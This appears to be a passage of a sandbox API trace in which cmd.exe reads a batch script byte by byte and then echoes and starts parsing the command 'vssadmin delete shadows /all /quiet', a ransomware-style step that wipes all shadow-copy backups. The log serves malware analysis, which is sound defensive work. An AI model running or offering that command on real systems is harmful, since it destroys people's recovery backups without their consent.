MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7d4ab9970, cbMultiByte=1, lpWideCharStr=0x7ff7d4ac3c40, cchWideChar=1 | out: lpWideCharStr=" cp select=1251\n") returned 1 [0131.566] _get_osfhandle (_FileHandle=0) returned 0x248 [0131.566] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.566] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7d4ab9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ed00ff9e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d4ab9970*, lpNumberOfBytesRead=0x1ed00ff9e8*=0x1, lpOverlapped=0x0) returned 1 [0131.566] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7d4ab9970, cbMultiByte=1, lpWideCharStr=0x7ff7d4ac3c42, cchWideChar=1 | out: lpWideCharStr="dp select=1251\n") returned 1 [0131.566] _get_osfhandle (_FileHandle=0) returned 0x248 [0131.566] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.566] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7d4ab9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ed00ff9e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d4ab9970*, lpNumberOfBytesRead=0x1ed00ff9e8*=0x1, lpOverlapped=0x0) returned 1 [0131.566] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7d4ab9970, cbMultiByte=1, lpWideCharStr=0x7ff7d4ac3c44, cchWideChar=1 | out: lpWideCharStr="e select=1251\n") returned 1 [0131.566] _get_osfhandle (_FileHandle=0) returned 0x248 [0131.566] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.566] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7d4ab9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ed00ff9e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d4ab9970*, lpNumberOfBytesRead=0x1ed00ff9e8*=0x1, lpOverlapped=0x0) returned 1 [0131.566] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7d4ab9970, cbMultiByte=1, lpWideCharStr=0x7ff7d4ac3c46, cchWideChar=1 | out: lpWideCharStr="lselect=1251\n") returned 1 [0131.566] _get_osfhandle (_FileHandle=0) returned 0x248 [0131.566] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.566] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7d4ab9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ed00ff9e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d4ab9970*, lpNumberOfBytesRead=0x1ed00ff9e8*=0x1, lpOverlapped=0x0) returned 1 [0131.566] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7d4ab9970, cbMultiByte=1, lpWideCharStr=0x7ff7d4ac3c48, cchWideChar=1 | out: lpWideCharStr="eelect=1251\n") returned 1 [0131.566] _get_osfhandle (_FileHandle=0) returned 0x248 [0131.566] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.567] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7d4ab9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ed00ff9e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d4ab9970*, lpNumberOfBytesRead=0x1ed00ff9e8*=0x1, lpOverlapped=0x0) returned 1 [0131.567] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7d4ab9970, cbMultiByte=1, lpWideCharStr=0x7ff7d4ac3c4a, cchWideChar=1 | out: lpWideCharStr="tlect=1251\n") returned 1 [0131.567] _get_osfhandle (_FileHandle=0) returned 0x248 [0131.567] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.567] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7d4ab9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ed00ff9e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d4ab9970*, lpNumberOfBytesRead=0x1ed00ff9e8*=0x1, lpOverlapped=0x0) returned 1 [0131.567] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7d4ab9970, cbMultiByte=1, lpWideCharStr=0x7ff7d4ac3c4c, cchWideChar=1 | out: lpWideCharStr="eect=1251\n") returned 1 [0131.567] _get_osfhandle (_FileHandle=0) returned 0x248 [0131.567] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.567] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7d4ab9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ed00ff9e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d4ab9970*, lpNumberOfBytesRead=0x1ed00ff9e8*=0x1, lpOverlapped=0x0) returned 1 [0131.567] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7d4ab9970, cbMultiByte=1, lpWideCharStr=0x7ff7d4ac3c4e, cchWideChar=1 | out: lpWideCharStr=" ct=1251\n") returned 1 [0131.567] _get_osfhandle (_FileHandle=0) returned 0x248 [0131.567] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.567] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7d4ab9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ed00ff9e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d4ab9970*, lpNumberOfBytesRead=0x1ed00ff9e8*=0x1, lpOverlapped=0x0) returned 1 [0131.567] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7d4ab9970, cbMultiByte=1, lpWideCharStr=0x7ff7d4ac3c50, cchWideChar=1 | out: lpWideCharStr="st=1251\n") returned 1 [0131.567] _get_osfhandle (_FileHandle=0) returned 0x248 [0131.567] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.567] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7d4ab9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ed00ff9e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d4ab9970*, lpNumberOfBytesRead=0x1ed00ff9e8*=0x1, lpOverlapped=0x0) returned 1 [0131.567] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7d4ab9970, cbMultiByte=1, lpWideCharStr=0x7ff7d4ac3c52, cchWideChar=1 | out: lpWideCharStr="h=1251\n") returned 1 [0131.567] _get_osfhandle (_FileHandle=0) returned 0x248 [0131.567] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.567] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7d4ab9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ed00ff9e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d4ab9970*, lpNumberOfBytesRead=0x1ed00ff9e8*=0x1, lpOverlapped=0x0) returned 1 [0131.567] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7d4ab9970, cbMultiByte=1, lpWideCharStr=0x7ff7d4ac3c54, cchWideChar=1 | out: lpWideCharStr="a1251\n") returned 1 [0131.567] _get_osfhandle (_FileHandle=0) returned 0x248 [0131.567] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.567] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7d4ab9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ed00ff9e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d4ab9970*, lpNumberOfBytesRead=0x1ed00ff9e8*=0x1, lpOverlapped=0x0) returned 1 [0131.567] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7d4ab9970, cbMultiByte=1, lpWideCharStr=0x7ff7d4ac3c56, cchWideChar=1 | out: lpWideCharStr="d251\n") returned 1 [0131.567] _get_osfhandle (_FileHandle=0) returned 0x248 [0131.567] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.567] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7d4ab9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ed00ff9e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d4ab9970*, lpNumberOfBytesRead=0x1ed00ff9e8*=0x1, lpOverlapped=0x0) returned 1 [0131.567] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7d4ab9970, cbMultiByte=1, lpWideCharStr=0x7ff7d4ac3c58, cchWideChar=1 | out: lpWideCharStr="o51\n") returned 1 [0131.567] _get_osfhandle (_FileHandle=0) returned 0x248 [0131.567] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.568] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7d4ab9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ed00ff9e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d4ab9970*, lpNumberOfBytesRead=0x1ed00ff9e8*=0x1, lpOverlapped=0x0) returned 1 [0131.568] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7d4ab9970, cbMultiByte=1, lpWideCharStr=0x7ff7d4ac3c5a, cchWideChar=1 | out: lpWideCharStr="w1\n") returned 1 [0131.568] _get_osfhandle (_FileHandle=0) returned 0x248 [0131.568] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.568] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7d4ab9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ed00ff9e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d4ab9970*, lpNumberOfBytesRead=0x1ed00ff9e8*=0x1, lpOverlapped=0x0) returned 1 [0131.568] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7d4ab9970, cbMultiByte=1, lpWideCharStr=0x7ff7d4ac3c5c, cchWideChar=1 | out: lpWideCharStr="s\n") returned 1 [0131.568] _get_osfhandle (_FileHandle=0) returned 0x248 [0131.568] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.568] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7d4ab9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ed00ff9e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d4ab9970*, lpNumberOfBytesRead=0x1ed00ff9e8*=0x1, lpOverlapped=0x0) returned 1 [0131.568] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7d4ab9970, cbMultiByte=1, lpWideCharStr=0x7ff7d4ac3c5e, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0131.568] _get_osfhandle (_FileHandle=0) returned 0x248 [0131.568] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.568] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7d4ab9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ed00ff9e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d4ab9970*, lpNumberOfBytesRead=0x1ed00ff9e8*=0x1, lpOverlapped=0x0) returned 1 [0131.568] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7d4ab9970, cbMultiByte=1, lpWideCharStr=0x7ff7d4ac3c60, cchWideChar=1 | out: lpWideCharStr="/") returned 1 [0131.568] _get_osfhandle (_FileHandle=0) returned 0x248 [0131.568] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.568] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7d4ab9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ed00ff9e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d4ab9970*, lpNumberOfBytesRead=0x1ed00ff9e8*=0x1, lpOverlapped=0x0) returned 1 [0131.568] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7d4ab9970, cbMultiByte=1, lpWideCharStr=0x7ff7d4ac3c62, cchWideChar=1 | out: lpWideCharStr="a") returned 1 [0131.568] _get_osfhandle (_FileHandle=0) returned 0x248 [0131.568] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.568] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7d4ab9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ed00ff9e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d4ab9970*, lpNumberOfBytesRead=0x1ed00ff9e8*=0x1, lpOverlapped=0x0) returned 1 [0131.568] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7d4ab9970, cbMultiByte=1, lpWideCharStr=0x7ff7d4ac3c64, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0131.568] _get_osfhandle (_FileHandle=0) returned 0x248 [0131.568] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.568] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7d4ab9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ed00ff9e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d4ab9970*, lpNumberOfBytesRead=0x1ed00ff9e8*=0x1, lpOverlapped=0x0) returned 1 [0131.568] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7d4ab9970, cbMultiByte=1, lpWideCharStr=0x7ff7d4ac3c66, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0131.568] _get_osfhandle (_FileHandle=0) returned 0x248 [0131.568] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.568] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7d4ab9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ed00ff9e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d4ab9970*, lpNumberOfBytesRead=0x1ed00ff9e8*=0x1, lpOverlapped=0x0) returned 1 [0131.568] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7d4ab9970, cbMultiByte=1, lpWideCharStr=0x7ff7d4ac3c68, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0131.568] _get_osfhandle (_FileHandle=0) returned 0x248 [0131.568] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.569] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7d4ab9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ed00ff9e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d4ab9970*, lpNumberOfBytesRead=0x1ed00ff9e8*=0x1, lpOverlapped=0x0) returned 1 [0131.569] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7d4ab9970, cbMultiByte=1, lpWideCharStr=0x7ff7d4ac3c6a, cchWideChar=1 | out: lpWideCharStr="/") returned 1 [0131.569] _get_osfhandle (_FileHandle=0) returned 0x248 [0131.569] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.569] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7d4ab9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ed00ff9e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d4ab9970*, lpNumberOfBytesRead=0x1ed00ff9e8*=0x1, lpOverlapped=0x0) returned 1 [0131.569] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7d4ab9970, cbMultiByte=1, lpWideCharStr=0x7ff7d4ac3c6c, cchWideChar=1 | out: lpWideCharStr="q") returned 1 [0131.569] _get_osfhandle (_FileHandle=0) returned 0x248 [0131.569] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.569] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7d4ab9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ed00ff9e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d4ab9970*, lpNumberOfBytesRead=0x1ed00ff9e8*=0x1, lpOverlapped=0x0) returned 1 [0131.569] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7d4ab9970, cbMultiByte=1, lpWideCharStr=0x7ff7d4ac3c6e, cchWideChar=1 | out: lpWideCharStr="u") returned 1 [0131.569] _get_osfhandle (_FileHandle=0) returned 0x248 [0131.569] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.569] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7d4ab9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ed00ff9e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d4ab9970*, lpNumberOfBytesRead=0x1ed00ff9e8*=0x1, lpOverlapped=0x0) returned 1 [0131.569] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7d4ab9970, cbMultiByte=1, lpWideCharStr=0x7ff7d4ac3c70, cchWideChar=1 | out: lpWideCharStr="i") returned 1 [0131.569] _get_osfhandle (_FileHandle=0) returned 0x248 [0131.569] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.569] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7d4ab9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ed00ff9e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d4ab9970*, lpNumberOfBytesRead=0x1ed00ff9e8*=0x1, lpOverlapped=0x0) returned 1 [0131.569] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7d4ab9970, cbMultiByte=1, lpWideCharStr=0x7ff7d4ac3c72, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0131.569] _get_osfhandle (_FileHandle=0) returned 0x248 [0131.569] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.569] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7d4ab9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ed00ff9e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d4ab9970*, lpNumberOfBytesRead=0x1ed00ff9e8*=0x1, lpOverlapped=0x0) returned 1 [0131.569] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7d4ab9970, cbMultiByte=1, lpWideCharStr=0x7ff7d4ac3c74, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0131.569] _get_osfhandle (_FileHandle=0) returned 0x248 [0131.569] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.569] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7d4ab9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ed00ff9e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d4ab9970*, lpNumberOfBytesRead=0x1ed00ff9e8*=0x1, lpOverlapped=0x0) returned 1 [0131.569] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7d4ab9970, cbMultiByte=1, lpWideCharStr=0x7ff7d4ac3c76, cchWideChar=1 | out: lpWideCharStr="\n") returned 1 [0131.569] _get_osfhandle (_FileHandle=0) returned 0x248 [0131.569] GetFileType (hFile=0x248) returned 0x3 [0131.569] _get_osfhandle (_FileHandle=0) returned 0x248 [0131.569] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.570] _get_osfhandle (_FileHandle=1) returned 0x254 [0131.570] GetFileType (hFile=0x254) returned 0x3 [0131.570] _get_osfhandle (_FileHandle=1) returned 0x254 [0131.570] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="vssadmin delete shadows /all /quiet\n", cchWideChar=-1, lpMultiByteStr=0x7ff7d4ab9970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vssadmin delete shadows /all /quiet\n", lpUsedDefaultChar=0x0) returned 37 [0131.570] WriteFile (in: hFile=0x254, lpBuffer=0x7ff7d4ab9970*, nNumberOfBytesToWrite=0x24, lpNumberOfBytesWritten=0x1ed00ff988, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d4ab9970*, lpNumberOfBytesWritten=0x1ed00ff988*=0x24, lpOverlapped=0x0) returned 1 [0131.570] GetProcessHeap () returned 0x218d4280000 [0131.570] RtlAllocateHeap (HeapHandle=0x218d4280000, Flags=0x8, Size=0x4012) returned 0x218d4288e90 [0131.570] GetProcessHeap () returned 0x218d4280000 [0131.570] RtlFreeHeap (HeapHandle=0x218d4280000, Flags=0x0, BaseAddress=0x218d4288e90) returned 1 [0131.570] _wcsicmp (_String1="vssadmin", _String2=")") returned 77 [0131.570] _wcsicmp (_String1="FOR", _String2="vssadmin") returned -16 [0131.570] _wcsicmp (_String1="FOR/?", _String2="vssadmin") returned -16 [0131.571] _wcsicmp (_String1="IF", _String2="vssadmin") returned -13 [0131.571] _wcsicmp (_String1="IF/?", _String2="vssadmin") returned -13 [0131.571] _wcsicmp (_String1="REM", _String2="vssadmin") returned -4 [0131.571] _wcsicmp (_String1="REM/?", _String2="vssadmin") returned -4 [0131.571] GetProcessHeap () returned 0x218d4280000 [0131.571] RtlAllocateHeap (HeapHandle=0x218d4280000, Flags=0x8, Size=0xb0) returned 0x218d42991a0 [0131.571] GetProcessHeap () returned 0x218d4280000 [0131.571] RtlAllocateHeap (HeapHandle=0x218d4280000, Flags=0x8, Size=0x22) returned 0x218d4286330 [0131.571] GetProcessHeap () returned 0x218d4280000 [0131.571] RtlAllocateHeap (HeapHandle=0x218d4280000, Flags=0x8, Size=0x48) returned 0x218d4299260 [0131.571] GetConsoleOutputCP () returned 0x4e3 [0132.243] GetCPInfo (in: CodePage=0x4e3, lpCPInfo=0x7ff7d4abfbb0 | out: lpCPInfo=0x7ff7d4abfbb0) returned 1 [0132.243] SetThreadUILanguage (LangId=0x0) returned 0x409 [0132.794] GetConsoleTitleW (in: lpConsoleTitle=0x1ed00ff7d0, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0133.074] malloc (_Size=0xffce) returned 0x218d44a0840 [0133.074] ??_V@YAXPEAX@Z () returned 0x218d44a0840 [0133.075] malloc (_Size=0xffce) returned 0x218d44b0820 [0133.075] ??_V@YAXPEAX@Z () returned 0x218d44b0820 [0133.075] _wcsicmp (_String1="vssadmin", _String2="DIR") returned 18 [0133.075] _wcsicmp (_String1="vssadmin", _String2="ERASE") returned 17 [0133.075] _wcsicmp (_String1="vssadmin", _String2="DEL") returned 18 [0133.075] _wcsicmp (_String1="vssadmin", _String2="TYPE") returned 2 [0133.075] _wcsicmp (_String1="vssadmin", _String2="COPY") returned 19 [0133.075] _wcsicmp (_String1="vssadmin", _String2="CD") returned 19 [0133.075] _wcsicmp (_String1="vssadmin", _String2="CHDIR") returned 19 [0133.075] _wcsicmp (_String1="vssadmin", _String2="RENAME") returned 4 [0133.075] _wcsicmp (_String1="vssadmin", _String2="REN") returned 4 [0133.075] _wcsicmp (_String1="vssadmin", _String2="ECHO") returned 17 [0133.075] _wcsicmp (_String1="vssadmin", _String2="SET") returned 3 [0133.075] _wcsicmp (_String1="vssadmin", _String2="PAUSE") returned 6 [0133.075] _wcsicmp (_String1="vssadmin", _String2="DATE") returned 18 [0133.075] _wcsicmp (_String1="vssadmin", _String2="TIME") returned 2 [0133.075] _wcsicmp (_String1="vssadmin", _String2="PROMPT") returned 6 [0133.075] _wcsicmp (_String1="vssadmin", _String2="MD") returned 9 [0133.075] _wcsicmp (_String1="vssadmin", _String2="MKDIR") returned 9 [0133.075] _wcsicmp (_String1="vssadmin", _String2="RD") returned 4 [0133.075] _wcsicmp (_String1="vssadmin", _String2="RMDIR") returned 4 [0133.075] _wcsicmp (_String1="vssadmin", _String2="PATH") returned 6 [0133.075] _wcsicmp (_String1="vssadmin", _String2="GOTO") returned 15 [0133.075] _wcsicmp (_String1="vssadmin", _String2="SHIFT") returned 3 [0133.075] _wcsicmp (_String1="vssadmin", _String2="CLS") returned 19 [0133.075] _wcsicmp (_String1="vssadmin", _String2="CALL") returned 19 [0133.075] _wcsicmp (_String1="vssadmin", _String2="VERIFY") returned 14 [0133.075] _wcsicmp (_String1="vssadmin", _String2="VER") returned 14 [0133.075] _wcsicmp (_String1="vssadmin", _String2="VOL") returned 4 [0133.075] _wcsicmp (_String1="vssadmin", _String2="EXIT") returned 17 [0133.075] _wcsicmp (_String1="vssadmin", _String2="SETLOCAL") returned 3 [0133.076] _wcsicmp (_String1="vssadmin", _String2="ENDLOCAL") returned 17 [0133.076] _wcsicmp (_String1="vssadmin", _String2="TITLE") returned 2 [0133.076] _wcsicmp (_String1="vssadmin", _String2="START") returned 3 [0133.076] _wcsicmp (_String1="vssadmin", _String2="DPATH") returned 18 [0133.076] _wcsicmp (_String1="vssadmin", _String2="KEYS") returned 11 [0133.076] _wcsicmp (_String1="vssadmin", _String2="MOVE") returned 9 [0133.076] _wcsicmp (_String1="vssadmin", _String2="PUSHD") returned 6 [0133.076] _wcsicmp (_String1="vssadmin", _String2="POPD") returned 6 [0133.076] _wcsicmp (_String1="vssadmin", _String2="ASSOC") returned 21 [0133.076] _wcsicmp (_String1="vssadmin", _String2="FTYPE") returned 16 [0133.076] _wcsicmp (_String1="vssadmin", _String2="BREAK") returned 20 [0133.076] _wcsicmp (_String1="vssadmin", _String2="COLOR") returned 19 [0133.076] _wcsicmp (_String1="vssadmin", _String2="MKLINK") returned 9 [0133.076] _wcsicmp (_String1="vssadmin", _String2="DIR") returned 18 [0133.076] _wcsicmp (_String1="vssadmin", _String2="ERASE") returned 17 [0133.076] _wcsicmp (_String1="vssadmin", _String2="DEL") returned 18 [0133.076] _wcsicmp (_String1="vssadmin", _String2="TYPE") returned 2 [0133.076] _wcsicmp (_String1="vssadmin", _String2="COPY") returned 19 [0133.076] _wcsicmp (_String1="vssadmin", _String2="CD") returned 19 [0133.076] _wcsicmp (_String1="vssadmin", _String2="CHDIR") returned 19 [0133.076] _wcsicmp (_String1="vssadmin", 